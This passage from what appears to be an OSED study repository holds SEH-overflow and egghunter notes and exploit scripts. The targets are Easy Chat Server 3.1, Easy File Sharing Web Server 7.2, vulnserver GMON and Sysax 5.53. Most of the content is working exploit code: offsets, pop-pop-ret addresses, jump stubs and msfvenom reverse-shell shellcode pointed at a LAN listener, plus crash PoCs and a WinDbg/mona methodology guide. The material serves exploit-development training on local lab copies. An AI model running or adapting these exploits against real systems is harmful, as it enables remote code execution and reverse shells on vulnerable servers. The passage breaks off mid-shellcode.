28 | shellcode += b"\xba\xa5\xfc\xbc\x6c\xf0\xc7\xec\xc3\x75\xd7"
29 | shellcode += b"\xec\xd3\x75\xff\x56\x9c\xfa\x77\x43\x46\xb2"
30 | shellcode += b"\xfd\xb9\xfb\xe5\x3f\xbd\xaf\x4d\x95\xbc\x89"
31 | shellcode += b"\xa0\x1e\x5a\xf9\x35\xc1\xeb\xfb\xbc\x32\xc8"
32 | shellcode += b"\xf2\xda\x42\x39\x53\x51\x9b\x43\xdd\x2d\xe2"
33 | shellcode += b"\x50\xfb\xd5\x22\x1e\xc5\xda\x42\xd4\xf0\x48"
34 | shellcode += b"\xf3\xbc\x1a\xc6\xc0\xeb\xc4\x14\x61\xd6\x81"
35 | shellcode += b"\x7c\xc1\x5e\x6e\x43\x50\xf8\xb7\x19\x96\xbd"
36 | shellcode += b"\x1e\x61\xb3\xac\x55\x25\xd3\xe8\xc3\x73\xc1"
37 | shellcode += b"\xea\xd5\x73\xd9\xea\xc5\x76\xc1\xd4\xea\xe9"
38 | shellcode += b"\xa8\x3a\x6c\xf0\x1e\x5c\xdd\x73\xd1\x43\xa3"
39 | shellcode += b"\x4d\x9f\x3b\x8e\x45\x68\x69\x28\xc5\x8a\x96"
40 | shellcode += b"\x99\x4d\x31\x29\x2e\xb8\x68\x69\xaf\x23\xeb"
41 | shellcode += b"\xb6\x13\xde\x77\xc9\x96\x9e\xd0\xaf\xe1\x4a"
42 | shellcode += b"\xfd\xbc\xc0\xda\x42"
43 | 
44 | 
45 | payload = b"A" * OFFSET
46 | payload += struct.pack("<I",0x06eb9090) # host jump
47 | payload += struct.pack("<I",0x10011564 ) # PPR
48 | payload += b"\x90" * 10
49 | payload += shellcode
50 | payload += b"D" * (CRASH_LEN - len(payload))
51 | 
52 | f.write(payload)
53 | f.close()
54 | 


--------------------------------------------------------------------------------
/2.seh-overflow/EFSEasyChatServer_3.1/README.md:
--------------------------------------------------------------------------------
 1 | # EFS Easy Chat Server 3.1
 2 | 
 3 | Downloaded from: https://www.exploit-db.com/exploits/42155
 4 | 
 5 | ## Initial Crash
 6 | 
 7 | ```py
 8 | #!/usr/bin/python
 9 | 
10 | import os
11 | import sys
12 | import socket
13 | 
14 | TARGET_IP = "127.0.0.1"
15 | TARGET_PORT = 80
16 | target = (TARGET_IP, TARGET_PORT) 
17 | 
18 | payload = b"A" * 1000
19 | 
20 | buffer = b"POST /registresult.htm HTTP/1.1\r\n\r\n"
21 | buffer += b"Host: 192.168.1.11"
22 | buffer += b"User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0"
23 | buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
24 | buffer += b"Accept-Language: en-US,en;q=0.5"
25 | buffer += b"Accept-Encoding: gzip, deflate"
26 | buffer += b"Referer: http://192.168.1.11/register.ghp"
27 | buffer += b"Connection: close"
28 | buffer += b"Content-Type: application/x-www-form-urlencoded"
29 | 
30 | buffer += b"UserName=" + payload + b"&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register" 
31 | 
32 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
33 | s.connect(target) 
34 | s.send(buffer) 
35 | s.close() 
36 | ```
37 | 


--------------------------------------------------------------------------------
/2.seh-overflow/EFSEasyChatServer_3.1/exploit.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/python
 2 | 
 3 | import os
 4 | import sys
 5 | import socket
 6 | import struct 
 7 | 
 8 | TARGET_IP = "127.0.0.1"
 9 | TARGET_PORT = 80
10 | CRASH_LEN = 1000  # change me
11 | OFFSET = 217
12 | target = (TARGET_IP, TARGET_PORT) 
13 | 
14 | #calc.exe W10 x86
15 | shellcode = b"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7"  
16 | 
17 | payload = b"A" * OFFSET
18 | payload += struct.pack("<I",0x06eb9090) # short jump 8
19 | payload += struct.pack("<I",0x10017f21)  #PPR
20 | payload += b"\x90" * 10
21 | payload += shellcode
22 | payload += b"D" * (CRASH_LEN - len(payload))
23 | 
24 | buffer = b"POST /registresult.htm HTTP/1.1\r\n\r\n"
25 | buffer += b"Host: 192.168.1.11"
26 | buffer += b"User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0"
27 | buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
28 | buffer += b"Accept-Language: en-US,en;q=0.5"
29 | buffer += b"Accept-Encoding: gzip, deflate"
30 | buffer += b"Referer: http://192.168.1.11/register.ghp"
31 | buffer += b"Connection: close"
32 | buffer += b"Content-Type: application/x-www-form-urlencoded"
33 | 
34 | buffer += b"UserName=" + payload + b"&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register" 
35 | 
36 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
37 | s.connect(target) 
38 | s.send(buffer) 
39 | s.close() 
40 | 


--------------------------------------------------------------------------------
/2.seh-overflow/EasyFileSharingWebServer_7.2/README.md:
--------------------------------------------------------------------------------
 1 | # Easy File Sharing Web Server 7.2
 2 | 
 3 | Downloaded from: https://www.exploit-db.com/exploits/39008
 4 | 
 5 | ## Initial Crash
 6 | 
 7 | ```py
 8 | import socket
 9 | import os
10 | import sys
11 | 
12 | ip = "127.0.0.1"
13 | port = 80
14 | 
15 | crash = b"A" * 5000
16 | 
17 | 
18 | buffer=b"GET "
19 | buffer+=crash
20 | buffer+=b" HTTP/1.1\r\n"
21 | 
22 | expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
23 | expl.connect((ip, port))
24 | expl.send(buffer)
25 | expl.close()![immagine](https://user-images.githubusercontent.com/59916156/194383309-2de56b0f-4df2-456f-8d88-99e4fcc84288.png)
26 | ```
27 | 


--------------------------------------------------------------------------------
/2.seh-overflow/EasyFileSharingWebServer_7.2/exploit.py:
--------------------------------------------------------------------------------
 1 | import socket
 2 | import os
 3 | import sys
 4 | import struct
 5 | 
 6 | ip = "127.0.0.1"
 7 | port = 80
 8 | 
 9 | #\x00\x0a\x0d\x20\x25\x2f\x5c
10 | #msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00\x0a\x0d\x20\x25\x2f\x5c' EXITFUNC=thread
11 | shellcode =  b""
12 | shellcode += b"\xdb\xcf\xbe\x3f\xe3\xd2\xa3\xd9\x74\x24\xf4"
13 | shellcode += b"\x5a\x33\xc9\xb1\x52\x31\x72\x17\x83\xea\xfc"
14 | shellcode += b"\x03\x4d\xf0\x30\x56\x4d\x1e\x36\x99\xad\xdf"
15 | shellcode += b"\x57\x13\x48\xee\x57\x47\x19\x41\x68\x03\x4f"
16 | shellcode += b"\x6e\x03\x41\x7b\xe5\x61\x4e\x8c\x4e\xcf\xa8"
17 | shellcode += b"\xa3\x4f\x7c\x88\xa2\xd3\x7f\xdd\x04\xed\x4f"
18 | shellcode += b"\x10\x45\x2a\xad\xd9\x17\xe3\xb9\x4c\x87\x80"
19 | shellcode += b"\xf4\x4c\x2c\xda\x19\xd5\xd1\xab\x18\xf4\x44"
20 | shellcode += b"\xa7\x42\xd6\x67\x64\xff\x5f\x7f\x69\x3a\x29"
21 | shellcode += b"\xf4\x59\xb0\xa8\xdc\x93\x39\x06\x21\x1c\xc8"
22 | shellcode += b"\x56\x66\x9b\x33\x2d\x9e\xdf\xce\x36\x65\x9d"
23 | shellcode += b"\x14\xb2\x7d\x05\xde\x64\x59\xb7\x33\xf2\x2a"
24 | shellcode += b"\xbb\xf8\x70\x74\xd8\xff\x55\x0f\xe4\x74\x58"
25 | shellcode += b"\xdf\x6c\xce\x7f\xfb\x35\x94\x1e\x5a\x90\x7b"
26 | shellcode += b"\x1e\xbc\x7b\x23\xba\xb7\x96\x30\xb7\x9a\xfe"
27 | shellcode += b"\xf5\xfa\x24\xff\x91\x8d\x57\xcd\x3e\x26\xff"
28 | shellcode += b"\x7d\xb6\xe0\xf8\x82\xed\x55\x96\x7c\x0e\xa6"
29 | shellcode += b"\xbf\xba\x5a\xf6\xd7\x6b\xe3\x9d\x27\x93\x36"
30 | shellcode += b"\x31\x77\x3b\xe9\xf2\x27\xfb\x59\x9b\x2d\xf4"
31 | shellcode += b"\x86\xbb\x4e\xde\xae\x56\xb5\x89\x10\x0e\xb4"
32 | shellcode += b"\x75\xf9\x4d\xb6\x9f\x7c\xd8\x50\xf5\x6e\x8d"
33 | shellcode += b"\xcb\x62\x16\x94\x87\x13\xd7\x02\xe2\x14\x53"
34 | shellcode += b"\xa1\x13\xda\x94\xcc\x07\x8b\x54\x9b\x75\x1a"
35 | shellcode += b"\x6a\x31\x11\xc0\xf9\xde\xe1\x8f\xe1\x48\xb6"
36 | shellcode += b"\xd8\xd4\x80\x52\xf5\x4f\x3b\x40\x04\x09\x04"
37 | shellcode += b"\xc0\xd3\xea\x8b\xc9\x96\x57\xa8\xd9\x6e\x57"
38 | shellcode += b"\xf4\x8d\x3e\x0e\xa2\x7b\xf9\xf8\x04\xd5\x53"
39 | shellcode += b"\x56\xcf\xb1\x22\x94\xd0\xc7\x2a\xf1\xa6\x27"
40 | shellcode += b"\x9a\xac\xfe\x58\x13\x39\xf7\x21\x49\xd9\xf8"
41 | shellcode += b"\xf8\xc9\xf9\x1a\x28\x24\x92\x82\xb9\x85\xff"
42 | shellcode += b"\x34\x14\xc9\xf9\xb6\x9c\xb2\xfd\xa7\xd5\xb7"
43 | shellcode += b"\xba\x6f\x06\xca\xd3\x05\x28\x79\xd3\x0f"
44 | 
45 | CRASH_LEN = 5000  # change me
46 | OFFSET = 4061  # change me
47 | 
48 | payload = b"A" * OFFSET
49 | payload += struct.pack("<I",0x06eb9090) # short jump 8 - NSEH
50 | payload += struct.pack("<I",0x100103fe) #PPR SEH
51 | payload += b"\x90" * 10
52 | payload += shellcode
53 | payload += b"D" * (CRASH_LEN - len(payload))
54 | 
55 | 
56 | buffer = b"GET "
57 | buffer += payload
58 | buffer += b" HTTP/1.1\r\n"
59 | 
60 | expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
61 | expl.connect((ip, port))
62 | expl.send(buffer)
63 | expl.close()
64 | 


--------------------------------------------------------------------------------
/2.seh-overflow/README.md:
--------------------------------------------------------------------------------
  1 | # SEH Overflow (no DEP, no ASLR)
  2 | 
  3 | ## Step
  4 | 1. Find initial crash
  5 | 2. Find offset with:
  6 | ```py
  7 | !py mona pc XXX 
  8 | ```
  9 | 3. Find badchar:
 10 | 
 11 | ```py
 12 | bad_chars  = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
 13 | bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
 14 | bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
 15 | bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
 16 | bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
 17 | bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
 18 | bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
 19 | bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
 20 | ```
 21 | In order to find you payload you can dump the TEB and dump the EXCEPTION_REGISTRATION_RECORD.
 22 | For example:
 23 | ```py
 24 | 0:003> !teb
 25 | TEB at 002e3000
 26 | ExceptionList:        00edec94
 27 | StackBase:            00ee0000
 28 | StackLimit:           00edd000
 29 | SubSystemTib:         00000000
 30 | FiberData:            00001e00
 31 | ArbitraryUserPointer: 00000000
 32 | Self:                 002e3000
 33 | EnvironmentPointer:   00000000
 34 | ClientId:             0000196c . 000021bc
 35 | RpcHandle:            00000000
 36 | Tls Storage:          007f02b0
 37 | PEB Address:          002df000
 38 | LastErrorValue:       0
 39 | LastStatusValue:      c000000d
 40 | Count Owned Locks:    0
 41 | HardErrorMode:        0
 42 | ```
 43 | And now you dump the \_EXCEPTION_REGISTRATION_RECORD to find NSEH
 44 | ```py
 45 | 0:003> dt _EXCEPTION_REGISTRATION_RECORD 00edec94
 46 | ntdll!_EXCEPTION_REGISTRATION_RECORD
 47 | +0x000 Next             : 0x00edffcc _EXCEPTION_REGISTRATION_RECORD
 48 | +0x004 Handler          : 0x77ec5b10     _EXCEPTION_DISPOSITION  ntdll!ExecuteHandler2+0
 49 | 
 50 | 0:003> db 0x00edffcc 
 51 | 00edffcc  42 42 42 42 43 43 43 43-01 02 03 04 05 06 07 08  BBBBCCCC........
 52 | 00edffdc  09 0a 0b 0c 0d 0e 0f 10-11 12 13 14 15 16 17 18  ................
 53 | 00edffec  19 1a 1b 1c 1d 1e 1f 20-21 22 23 24 25 26 27 28  ....... !"#$%&'(
 54 | 00edfffc  29 2a 2b 2c ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  )*+,??
 55 | ```
 56 | 4. Find a PPR with mona and insert in the SEH
 57 | 	```py
 58 | 	!py mona seh -cpb '\x00'
 59 | 	```
 60 | 	1. If you find it, go to 5.
 61 | 	2. Otherwise search for ADD ESP,XX 
 62 | 	2. If you have only NULL byte, read here https://dl.packetstormsecurity.net/papers/bypass/bypassing-nullbyte.pdf
 63 | 		
 64 | 5. Overwrite NSEH with a short jump
 65 | ```py
 66 | nasm > jmp short 8
 67 | 00000000  EB06 
 68 | ```
 69 | 6. Now look if you have space for the shellcode
 70 | 	1. If you have it, insert the shellcode and pop the calc
 71 | 		```py
 72 | 		  crash = b"A"*junk
 73 | 		  nSEH =  b"\xeb\x06\x90\x90" #jump 8 bytes
 74 | 		  SEH = struct.pack("<I",0x100195f2) #pop pop ret 
 75 | 		  junk2 = b"\x90"*10
 76 | 		  shellcode = "\x23\x56\..."
 77 | 		  junk3 = b"D"*(total - len(crash+nSEH+SEH+junk2+shellcode))
 78 | 
 79 | 		  buffer=b"GET "
 80 | 		  buffer+=crash+nSEH+SEH+junk2+shellcode+junk3
 81 | 		  buffer+=b" HTTP/1.1\r\n"
 82 | 		```
 83 |     2. Otherwise:
 84 |   
 85 |     	1. Increase the SP and JMP to it. For example:
 86 | 			```py
 87 | 			nasm > add sp, 0x86c
 88 | 			00000000  6681C46C08        add sp,0x86c
 89 | 
 90 | 
 91 | 			inputBuffer = b"A" * 124
 92 | 			inputBuffer+= pack("<I",0x06eb9090) # short jump 8
 93 | 			inputBuffer+= pack("<I",0x100133e7) # pop edi # pop esi # ret 0x04 
 94 | 			inputBuffer+= b"\x90" * 2 
 95 | 			inputBuffer+= b"\x66\x81\xc4\x6C\x08"   # 6681C46C08        add sp,0x86c
 96 | 			inputBuffer+= b"\xff\xe4"               # jmp esp 
 97 | 			inputBuffer+= b"\x90" * (size - len(inputBuffer) - len(shellcode))
 98 | 			inputBuffer+= shellcode
 99 | 			```
100 |         2. Jump back to the start of the payload (you have to calculate how much to jump)
101 | 			```py
102 | 			nasm > push esp
103 | 			\x54  
104 | 			nasm > pop eax
105 | 			\x58
106 | 			nasm > add ax, 0x5bd
107 | 			00000000  6605BD05          add ax,0x5bd
108 | 			nasm > jmp eax
109 | 			\xff\xe0
110 | 
111 | 			buffer = shellcode
112 | 			buffer += b"A"*(2495-len(shellcode))
113 | 			buffer += b"\xeb\x06\x90\x90" #nseh
114 | 			buffer += pack("<I",0x10013407) #PPR  10013407
115 | 			buffer += b"\x54\x58\x66\x05\xbd\x05\xff\xe0" #jumpback
116 | 			buffer += b"\x90"*10
117 | 			buffer += b"D"*(total - len(buffer))
118 | 			```
119 | 		3. Similar to 2.
120 | 			```py
121 | 			  buf += b"B" * 129              # offset continued...
122 | 			  buf += b"\xeb\x06\x90\x90"     # nSeh      -> jmp 0x6 ; nop ; nop (jump over eip into short shellcode part below)
123 | 			  buf += pack("<I", 0x60ae1b2b)  # eip / seh -> pop ecx ; pop ecx ; ret
124 | 			  buf += b"\xb8\xc0\xf8\xff\xff" # mov eax, 0xfffff8c0 (redirect execution to top of buffer [shellcode])
125 | 			  buf += b"\xf7\xd8"             # neg eax
126 | 			  buf += b"\x01\xc4"             # add esp, eax
127 | 			  buf += b"\xff\xe4"             # jmp esp
128 | 			  buf += b"C" * 33               # required to trigger the seh overwrite rather than another crash
129 | 			```
130 | 
131 | ## Resources
132 | 1. https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/
133 | 2. https://epi052.gitlab.io/notes-to-self/blog/2020-05-18-osce-exam-practice-part-three/
134 | 3. https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/seh-based-buffer-overflow
135 | 4. https://fuzzysecurity.com/tutorials/expDev/3.html
136 | 


--------------------------------------------------------------------------------
/2.seh-overflow/vulnserver-GMON/README.md:
--------------------------------------------------------------------------------
 1 | # Vulnserver - GMON Command
 2 | 
 3 | ## Initial Crash
 4 | 
 5 | ```py
 6 | import struct
 7 | import socket
 8 | 
 9 | 
10 | TARGET_IP = "127.0.0.1"
11 | TARGET_PORT = 9999
12 | target = (TARGET_IP, TARGET_PORT) 
13 | 
14 | 
15 | VULNSRVR_CMD = b"GMON /.../"  # change me
16 | CRASH_LEN = 5011  # change me
17 | 
18 | payload = VULNSRVR_CMD
19 | payload += b"A" * CRASH_LEN
20 | 
21 | with socket.create_connection(target) as sock:
22 |     sock.recv(512) 
23 | 
24 |     sent = sock.send(payload)
25 |     print(f"sent {sent} bytes")
26 | ```
27 | 


--------------------------------------------------------------------------------
/2.seh-overflow/vulnserver-GMON/exploit.py:
--------------------------------------------------------------------------------
 1 | import struct
 2 | import socket
 3 | 
 4 | 
 5 | TARGET_IP = "127.0.0.1"
 6 | TARGET_PORT = 9999
 7 | target = (TARGET_IP, TARGET_PORT) 
 8 | 
 9 | 
10 | VULNSRVR_CMD = b"GMON /.../"  # change me
11 | CRASH_LEN = 5011  # change me
12 | OFFSET = 3546
13 | 
14 | #msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00' EXITFUNC=thread
15 | 
16 | shellcode =  b""                                                                                                                                                                                                                           
17 | shellcode += b"\xba\xfc\xc7\xd1\xe3\xdb\xdc\xd9\x74\x24\xf4"                                                                                                                                                                               
18 | shellcode += b"\x5d\x29\xc9\xb1\x52\x83\xed\xfc\x31\x55\x0e"                                                                                                                                                                               
19 | shellcode += b"\x03\xa9\xc9\x33\x16\xad\x3e\x31\xd9\x4d\xbf"                                                                                                                                                                               
20 | shellcode += b"\x56\x53\xa8\x8e\x56\x07\xb9\xa1\x66\x43\xef"                                                                                                                                                                               
21 | shellcode += b"\x4d\x0c\x01\x1b\xc5\x60\x8e\x2c\x6e\xce\xe8"                                                                                                                                                                               
22 | shellcode += b"\x03\x6f\x63\xc8\x02\xf3\x7e\x1d\xe4\xca\xb0"                                                                                                                                                                               
23 | shellcode += b"\x50\xe5\x0b\xac\x99\xb7\xc4\xba\x0c\x27\x60"                                                                                                                                                                               
24 | shellcode += b"\xf6\x8c\xcc\x3a\x16\x95\x31\x8a\x19\xb4\xe4"                                                                                                                                                                               
25 | shellcode += b"\x80\x43\x16\x07\x44\xf8\x1f\x1f\x89\xc5\xd6"
26 | shellcode += b"\x94\x79\xb1\xe8\x7c\xb0\x3a\x46\x41\x7c\xc9"
27 | shellcode += b"\x96\x86\xbb\x32\xed\xfe\xbf\xcf\xf6\xc5\xc2"
28 | shellcode += b"\x0b\x72\xdd\x65\xdf\x24\x39\x97\x0c\xb2\xca"
29 | shellcode += b"\x9b\xf9\xb0\x94\xbf\xfc\x15\xaf\xc4\x75\x98"
30 | shellcode += b"\x7f\x4d\xcd\xbf\x5b\x15\x95\xde\xfa\xf3\x78"
31 | shellcode += b"\xde\x1c\x5c\x24\x7a\x57\x71\x31\xf7\x3a\x1e"
32 | shellcode += b"\xf6\x3a\xc4\xde\x90\x4d\xb7\xec\x3f\xe6\x5f"
33 | shellcode += b"\x5d\xb7\x20\x98\xa2\xe2\x95\x36\x5d\x0d\xe6"
34 | shellcode += b"\x1f\x9a\x59\xb6\x37\x0b\xe2\x5d\xc7\xb4\x37"
35 | shellcode += b"\xf1\x97\x1a\xe8\xb2\x47\xdb\x58\x5b\x8d\xd4"
36 | shellcode += b"\x87\x7b\xae\x3e\xa0\x16\x55\xa9\x0f\x4e\x54"
37 | shellcode += b"\x15\xf8\x8d\x56\x7f\x7d\x18\xb0\x15\x6d\x4d"
38 | shellcode += b"\x6b\x82\x14\xd4\xe7\x33\xd8\xc2\x82\x74\x52"
39 | shellcode += b"\xe1\x73\x3a\x93\x8c\x67\xab\x53\xdb\xd5\x7a"
40 | shellcode += b"\x6b\xf1\x71\xe0\xfe\x9e\x81\x6f\xe3\x08\xd6"
41 | shellcode += b"\x38\xd5\x40\xb2\xd4\x4c\xfb\xa0\x24\x08\xc4"
42 | shellcode += b"\x60\xf3\xe9\xcb\x69\x76\x55\xe8\x79\x4e\x56"
43 | shellcode += b"\xb4\x2d\x1e\x01\x62\x9b\xd8\xfb\xc4\x75\xb3"
44 | shellcode += b"\x50\x8f\x11\x42\x9b\x10\x67\x4b\xf6\xe6\x87"
45 | shellcode += b"\xfa\xaf\xbe\xb8\x33\x38\x37\xc1\x29\xd8\xb8"
46 | shellcode += b"\x18\xea\xf8\x5a\x88\x07\x91\xc2\x59\xaa\xfc"
47 | shellcode += b"\xf4\xb4\xe9\xf8\x76\x3c\x92\xfe\x67\x35\x97"
48 | shellcode += b"\xbb\x2f\xa6\xe5\xd4\xc5\xc8\x5a\xd4\xcf"
49 | 
50 | payload = VULNSRVR_CMD
51 | payload += shellcode
52 | payload += b"A" * (OFFSET - len(shellcode))
53 | payload += struct.pack("<I",0x06eb9090) # 8 bytes JMP
54 | payload += struct.pack("<I",0x625010b4) #SEH - POP POP RET
55 | payload += b"\x90" * 10 # NOP SLED
56 | payload += b"\x54\x58\x66\x05\x66\x05\xff\xe0  " # PUSH; POP; ADD 566; JMP
57 | payload += b"D" * (CRASH_LEN - len(payload)) # shellcode
58 | 
59 | with socket.create_connection(target) as sock:
60 |     sock.recv(512) 
61 | 
62 |     sent = sock.send(payload)
63 |     print(f"sent {sent} bytes")
64 | 


--------------------------------------------------------------------------------
/2.seh-overflow/vulnserver-GMON/vulnserver.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mrtouch93/OSED-Notes/fe06c98e792da083150d7428e556b95bd86a4e0c/2.seh-overflow/vulnserver-GMON/vulnserver.exe


--------------------------------------------------------------------------------
/3.egghunter/README.md:
--------------------------------------------------------------------------------
 1 | # EGGHUNTER (no DEP, no ASLR)
 2 | 
 3 | Use if you have no space. The ultimate goal is to have the egg somewhere in memory.
 4 | 
 5 | ## Step
 6 | 1. Search the tag with mona 
 7 | ```py
 8 | s -a 0x0 L?80000000 w00tw00t
 9 | ```
10 | 
11 | 2. Create the egghunter with https://github.com/epi052/osed-scripts/blob/main/egghunter.py
12 | 
13 | ## Resources
14 | 1. http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
15 | 2. https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
16 | 3. https://fuzzysecurity.com/tutorials/expDev/4.html
17 | 4. https://www.secpod.com/blog/hunting-the-egg-egg-hunter/
18 | 5. https://sec4us.com.br/cheatsheet/bufferoverflow-egghunting
19 | 


--------------------------------------------------------------------------------
/3.egghunter/Sysax_5.53/README.md:
--------------------------------------------------------------------------------
 1 | # Sysax 5.53
 2 | 
 3 | Downloaded from: https://www.exploit-db.com/exploits/18535
 4 | Vulnerable function: Settings -> Enable SSH port
 5 | 
 6 | ## Initial Crash
 7 | ```py
 8 | import paramiko,os,sys
 9 | 
10 | TARGET_IP = "127.0.0.1"
11 | TARGET_PORT = 22
12 | target = (TARGET_IP, TARGET_PORT) 
13 | 
14 | CRASH_LEN = 10000  # change me
15 | 
16 | payload = b"A" * CRASH_LEN
17 | 
18 | transport = paramiko.Transport(target)	
19 | transport.connect(username = payload, password = "test")	
20 | transport.close()
21 | ```
22 | 


--------------------------------------------------------------------------------
/3.egghunter/Sysax_5.53/exploit.py:
--------------------------------------------------------------------------------
 1 | import paramiko,os,sys
 2 | import struct
 3 | 
 4 | TARGET_IP = "127.0.0.1"
 5 | TARGET_PORT = 22
 6 | target = (TARGET_IP, TARGET_PORT) 
 7 | 
 8 | #\x00\x3a
 9 | 
10 | CRASH_LEN = 10000  # change me
11 | OFFSET = 9208 # 5000 + 4208
12 | 
13 | egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x63\x30\x64\x33\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"
14 | 
15 | #msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00\x3a' EXITFUNC=thread
16 | shellcode =  b""
17 | shellcode += b"\xdb\xd1\xb8\x8f\x2f\xfe\x3d\xd9\x74\x24\xf4"
18 | shellcode += b"\x5a\x31\xc9\xb1\x52\x31\x42\x17\x83\xc2\x04"
19 | shellcode += b"\x03\xcd\x3c\x1c\xc8\x2d\xaa\x62\x33\xcd\x2b"
20 | shellcode += b"\x03\xbd\x28\x1a\x03\xd9\x39\x0d\xb3\xa9\x6f"
21 | shellcode += b"\xa2\x38\xff\x9b\x31\x4c\x28\xac\xf2\xfb\x0e"
22 | shellcode += b"\x83\x03\x57\x72\x82\x87\xaa\xa7\x64\xb9\x64"
23 | shellcode += b"\xba\x65\xfe\x99\x37\x37\x57\xd5\xea\xa7\xdc"
24 | shellcode += b"\xa3\x36\x4c\xae\x22\x3f\xb1\x67\x44\x6e\x64"
25 | shellcode += b"\xf3\x1f\xb0\x87\xd0\x2b\xf9\x9f\x35\x11\xb3"
26 | shellcode += b"\x14\x8d\xed\x42\xfc\xdf\x0e\xe8\xc1\xef\xfc"
27 | shellcode += b"\xf0\x06\xd7\x1e\x87\x7e\x2b\xa2\x90\x45\x51"
28 | shellcode += b"\x78\x14\x5d\xf1\x0b\x8e\xb9\x03\xdf\x49\x4a"
29 | shellcode += b"\x0f\x94\x1e\x14\x0c\x2b\xf2\x2f\x28\xa0\xf5"
30 | shellcode += b"\xff\xb8\xf2\xd1\xdb\xe1\xa1\x78\x7a\x4c\x07"
31 | shellcode += b"\x84\x9c\x2f\xf8\x20\xd7\xc2\xed\x58\xba\x8a"
32 | shellcode += b"\xc2\x50\x44\x4b\x4d\xe2\x37\x79\xd2\x58\xdf"
33 | shellcode += b"\x31\x9b\x46\x18\x35\xb6\x3f\xb6\xc8\x39\x40"
34 | shellcode += b"\x9f\x0e\x6d\x10\xb7\xa7\x0e\xfb\x47\x47\xdb"
35 | shellcode += b"\xac\x17\xe7\xb4\x0c\xc7\x47\x65\xe5\x0d\x48"
36 | shellcode += b"\x5a\x15\x2e\x82\xf3\xbc\xd5\x45\x3c\xe8\xd4"
37 | shellcode += b"\xa9\xd4\xeb\xd6\xcb\xa1\x65\x30\x81\xb9\x23"
38 | shellcode += b"\xeb\x3e\x23\x6e\x67\xde\xac\xa4\x02\xe0\x27"
39 | shellcode += b"\x4b\xf3\xaf\xcf\x26\xe7\x58\x20\x7d\x55\xce"
40 | shellcode += b"\x3f\xab\xf1\x8c\xd2\x30\x01\xda\xce\xee\x56"
41 | shellcode += b"\x8b\x21\xe7\x32\x21\x1b\x51\x20\xb8\xfd\x9a"
42 | shellcode += b"\xe0\x67\x3e\x24\xe9\xea\x7a\x02\xf9\x32\x82"
43 | shellcode += b"\x0e\xad\xea\xd5\xd8\x1b\x4d\x8c\xaa\xf5\x07"
44 | shellcode += b"\x63\x65\x91\xde\x4f\xb6\xe7\xde\x85\x40\x07"
